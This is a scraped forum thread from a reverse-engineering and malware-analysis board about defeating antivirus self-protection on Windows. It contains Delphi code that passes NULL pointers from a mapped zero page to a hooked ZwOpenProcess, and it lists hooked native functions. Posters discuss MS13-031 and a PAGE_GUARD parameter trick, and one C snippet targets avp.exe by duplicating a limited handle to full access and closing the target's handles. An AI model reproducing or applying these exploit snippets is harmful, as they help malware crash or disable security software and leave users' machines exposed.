send pm to 0x16/7ton
@R00tkitSMM
A forum for reverse engineering, OS internals and malware analysis
NTSTATUS NtOpenProcess
(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
)
var
Status: NTSTATUS;
addr: pointer;
size: ULONG;
cid: CLIENT_ID;
attr: OBJECT_ATTRIBUTES;
begin
addr := pointer($1);
size := $1000;
Status := ZwAllocateVirtualMemory(NtCurrentProcess, @addr, 0, @size, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
if (Status = STATUS_SUCCESS) then
begin
InitializeObjectAttributes(@attr, nil, 0, 0);
cid.UniqueProcess := GetCurrentProcessId();
Status := ZwOpenProcess(nil, PROCESS_ALL_ACCESS, nil, @cid);
if (Status = STATUS_SUCCESS) then
begin
ZwClose(PHANDLE(nil)^);
MessageBoxW(0, 'Success', '', MB_OK);
end;
ZwFreeVirtualMemory(NtCurrentProcess, @addr, @size, MEM_RELEASE);
end else
MessageBoxW(0, 'ZWAVM fail', '', MB_OK);
NtClosePretty banal, multiple ways to terminate using valid full access process handle.
NtCreateKey
NtCreateSection
NtCreateThread,
NtDeleteKey
NtDeleteValueKey
NtDuplicateObject
NtLoadKey
NtOpenProcess
NtOpenThread
NtQueryValueKey
NtReplaceKey
NtRequestWaitReplyPort
NtRestoreKey
NtSetContextThread
NtSetSecurityObject
NtSetValueKey
NtSystemDebugControl
NtTerminateProcess
rinn wrote:Bumping the old thread to add: trick with using NULL VA allocated memory should not be working after MS13-031 :)It still will be working in XP, as no one interested/motivated in XP redesign.
EP_X0FF wrote:Hi.rinn wrote:Bumping the old thread to add: trick with using NULL VA allocated memory should not be working after MS13-031 :)It still will be working in XP, as no one interested/motivated in XP redesign.
0x16/7ton wrote: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory ManagementWithout admin rights you cannot change it.
EnableLowVaAccess
And this:
Image File Execution Options [EnableLowVaAccess]
Hehe and in the end it is not a problem using another well known method..for example transfer function parameters with set PAGE_GUARD memory attributeDoes it still works with something? I know Comodo was vulnerable to this.
NTSTATUS ZwDuplicateObject(
_In_ HANDLE SourceProcessHandle,
_In_ HANDLE SourceHandle,
_In_opt_ HANDLE TargetProcessHandle,
_Out_opt_ PHANDLE TargetHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Options
);
//opening avp.exe
hProcess=OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION);
//duplicate new handle with full access
ZwDuplicateObject((HANDLE)CURRENT_PROCESS,hProcess,(HANDLE)CURRENT_PROCESS,&new_handle,PROCESS_ALL_ACCESS,DUPLICATE_SAME_ATTRIBUTES);
for (i = 0 ; i <= 4096 ; i++)
{
HANDLE copy_handle;
DuplicateHandle( new_handle, (HANDLE)i , NULL, ©_handle, 0, FALSE, DUPLICATE_CLOSE_SOURCE)
}